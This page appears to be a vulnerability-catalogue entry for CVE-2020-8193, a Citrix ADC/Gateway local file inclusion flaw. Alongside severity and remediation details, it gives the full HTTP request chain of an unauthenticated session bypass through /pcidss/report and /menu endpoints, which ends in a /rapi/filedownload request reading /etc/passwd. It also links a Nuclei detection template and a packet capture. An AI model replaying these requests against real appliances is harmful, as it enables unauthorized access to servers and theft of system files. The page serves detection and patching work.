| Title | Citrix - Local File Inclusion |
|---|---|
| Author | pdteam |
| Severity | Medium |
| Impact | An attacker can access sensitive information stored on the server, potentially leading to further exploitation or unauthorized access. |
| Remediation | Apply the latest security patches or updates provided by Citrix to fix the local file inclusion vulnerability. |
| CVSS Score | 6.5 |
| EPSS Score | 0.94177 |
| CVE ID | CVE-2020-8193 |
| CWE ID | CWE-287,CWE-284 |
| Tags | cve2020 cve citrix lfi kev packetstorm vkev vuln |
Citrix ADC and Citrix Gateway versions before 13.0-58.30, 12.1-57.18, 12.0-63.21, 11.1-64.14 and 10.5-70.18 and Citrix SDWAN WAN-OP versions before 11.1.1a, 11.0.3d and 10.2.7 are vulnerable to local file inclusion because they allow unauthenticated access to certain URL endpoints.
POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Connection: close
Content-Length: 44
Content-Type: application/xml
X-NITRO-PASS: xWXHUJ56
X-NITRO-USER: xpyZxwy6
Accept-Encoding: gzip
<appfwprofile><login></login></appfwprofile>
GET /menu/ss?sid=nsroot&username=nsroot&force_setup=1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
GET /menu/neo HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_4; en-gb) AppleWebKit/528.4+ (KHTML, like Gecko) Version/4.0dp1 Safari/526.11.2
Connection: close
Accept-Encoding: gzip
GET /menu/stc HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Connection: close
Content-Length: 44
Content-Type: application/xml
X-NITRO-PASS: ZuU9Y9c1
X-NITRO-USER: oY39DXzQ
rand_key: 4jXdKF
Accept-Encoding: gzip
<appfwprofile><login></login></appfwprofile>
POST /rapi/filedownload?filter=path:%2Fetc%2Fpasswd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Connection: close
Content-Length: 31
Content-Type: application/xml
X-NITRO-PASS: ZuU9Y9c1
X-NITRO-USER: oY39DXzQ
rand_key: 4jXdKF
Accept-Encoding: gzip
<clipermission></clipermission>
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-8193.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-8193.pcap
N/AN/A